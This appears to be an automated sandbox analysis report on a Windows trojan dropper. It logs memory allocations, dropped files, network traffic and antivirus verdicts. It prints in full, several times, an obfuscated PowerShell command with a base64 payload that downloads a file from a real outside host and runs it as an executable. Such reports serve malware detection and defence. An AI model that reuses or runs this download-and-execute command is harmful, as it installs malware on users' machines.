NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02b21000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02b22000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory March 19, 2021, 6:08 p.m.	process_identifier: 7144 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02b23000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

Creates executable files on the filesystem (1 event)

file	C:\Users\test22\AppData\Local\Temp\IbhhCDAF.exe

Creates a shortcut to an executable file (1 event)

file	C:\Windows\SysWOW64\%ProgramData%\Microsoft\Windows\Start Menu\Programs\Accessories\Windows PowerShell\Windows PowerShell.lnk

Creates a suspicious process (2 events)

cmdline

powershell.exe PowERsHEL`l -ExecutionPolicy Bypass -w 1 /`e IAAoAE4ARQB3AC0AbwBiAGoARQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALgBEAG8AdwBuAEwAbwBBAGQAZgBJAGwARQAoACAAHSBoAHQAdABwADoALwAvAG4AYgBzAC4AdgBpAHoAegBoAG8AcwB0AC4AYwBvAG0ALwBhAC8AYwBmAHMAbQAuAHQAeAB0AB0gIAAsACAAHSAkAEUATgB2ADoAdABlAG0AcABcAEkAYgBoAGgAQwBEAEEARgAuAGUAeABlAB0gIAApACAAOwAgAHMAdABBAFIAdAAgAB0gJABFAE4AdgA6AHQAZQBtAHAAXABJAGIAaABoAEMARABBAEYALgBlAHgAZQAdIA==

cmdline

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -w 1 /e IAAoAE4ARQB3AC0AbwBiAGoARQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALgBEAG8AdwBuAEwAbwBBAGQAZgBJAGwARQAoACAAHSBoAHQAdABwADoALwAvAG4AYgBzAC4AdgBpAHoAegBoAG8AcwB0AC4AYwBvAG0ALwBhAC8AYwBmAHMAbQAuAHQAeAB0AB0gIAAsACAAHSAkAEUATgB2ADoAdABlAG0AcABcAEkAYgBoAGgAQwBEAEEARgAuAGUAeABlAB0gIAApACAAOwAgAHMAdABBAFIAdAAgAB0gJABFAE4AdgA6AHQAZQBtAHAAXABJAGIAaABoAEMARABBAEYALgBlAHgAZQAdIA==

Drops a binary and executes it (1 event)

file	C:\Users\test22\AppData\Local\Temp\IbhhCDAF.exe

Drops an executable to the user AppData folder (1 event)

file	C:\Users\test22\AppData\Local\Temp\IbhhCDAF.exe

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses March 19, 2021, 6:08 p.m.	flags: 15 family: 0		111	0

URL downloaded by powershell script (1 event)

Data received

HTTP/1.1 200 OK Server: nginx/1.10.3 Date: Fri, 19 Mar 2021 09:09:55 GMT Content-Type: text/plain Content-Length: 33280 Last-Modified: Tue, 16 Mar 2021 23:00:08 GMT Connection: keep-alive Vary: Accept-Encoding ETag: "60513878-8200" Accept-Ranges: bytes

Poweshell is sending data to a remote host (1 event)

Data sent

GET /a/cfsm.txt HTTP/1.1 Host: nbs.vizzhost.com Connection: Keep-Alive

Checks for the Locally Unique Identifier on the system for a suspicious privilege (2 events)

Time & API	Arguments	Status	Return	Repeated
LookupPrivilegeValueW March 19, 2021, 6:08 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0
LookupPrivilegeValueW March 19, 2021, 6:08 p.m.	system_name: privilege_name: SeDebugPrivilege	1	1	0

One or more of the buffers contains an embedded PE file (1 event)

buffer

Buffer with sha1: 9f21a0a92a5f85020003217368d45b24732a009a

File has been identified by 11 AntiVirus engines on VirusTotal as malicious (11 events)

Elastic	malicious (high confidence)
Sangfor	Trojan.Win32.Save.a
Cybereason	malicious.615e38
Cyren	W32/AutoIt.UF.gen!Eldorado
APEX	Malicious
Sophos	ML/PE-A
McAfee-GW-Edition	BehavesLike.Win32.TrojanAitInject.ch
FireEye	Generic.mg.6bab770bd66fa724
eGambit	Unsafe.AI_Score_77%
Microsoft	Trojan:Win32/Wacatac.B!ml
Cynet	Malicious (score: 100)

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (1 event)

Time & API	Arguments	Status	Return	Repeated
send March 19, 2021, 6:08 p.m.	buffer: GET /a/cfsm.txt HTTP/1.1 Host: nbs.vizzhost.com Connection: Keep-Alive socket: 1444 sent: 76	1	76	0

One or more non-whitelisted processes were created (3 events)

parent_process	powershell.exe	martian_process	"C:\Users\test22\AppData\Local\Temp\IbhhCDAF.exe"
parent_process	powershell.exe	martian_process	C:\Users\test22\AppData\Local\Temp\IbhhCDAF.exe
parent_process	powershell.exe	martian_process	"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -w 1 /e IAAoAE4ARQB3AC0AbwBiAGoARQBjAHQAIAAcIGAATgBgAGUAYABUAGAALgBgAFcAYABlAGAAQgBgAEMAYABsAGAAaQBgAGUAYABOAGAAVAAdICkALgBEAG8AdwBuAEwAbwBBAGQAZgBJAGwARQAoACAAHSBoAHQAdABwADoALwAvAG4AYgBzAC4AdgBpAHoAegBoAG8AcwB0AC4AYwBvAG0ALwBhAC8AYwBmAHMAbQAuAHQAeAB0AB0gIAAsACAAHSAkAEUATgB2ADoAdABlAG0AcABcAEkAYgBoAGgAQwBEAEEARgAuAGUAeABlAB0gIAApACAAOwAgAHMAdABBAFIAdAAgAB0gJABFAE4AdgA6AHQAZQBtAHAAXABJAGIAaABoAEMARABBAEYALgBlAHgAZQAdIA==

Creates a suspicious Powershell process (2 events)

option	-executionpolicy bypass				value	Attempts to bypass execution policy
option	-executionpolicy bypass				value	Attempts to bypass execution policy

The process powershell.exe wrote an executable file to disk which it then attempted to execute (21 events)

file	C:\Windows\System32\ie4uinit.exe
file	C:\Program Files\Windows Sidebar\sidebar.exe
file	C:\Windows\System32\WindowsAnytimeUpgradeUI.exe
file	C:\Windows\System32\xpsrchvw.exe
file	C:\Windows\System32\displayswitch.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe
file	C:\Windows\System32\mblctr.exe
file	C:\Windows\System32\mstsc.exe
file	C:\Windows\System32\SnippingTool.exe
file	C:\Windows\System32\SoundRecorder.exe
file	C:\Windows\System32\dfrgui.exe
file	C:\Windows\System32\msinfo32.exe
file	C:\Windows\System32\rstrui.exe
file	C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe
file	C:\Program Files\Windows Journal\Journal.exe
file	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
file	C:\Windows\System32\MdSched.exe
file	C:\Windows\System32\msconfig.exe
file	C:\Windows\System32\recdisc.exe
file	C:\Windows\System32\msra.exe
file	C:\Users\test22\AppData\Local\Temp\IbhhCDAF.exe

AjXib.txt

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All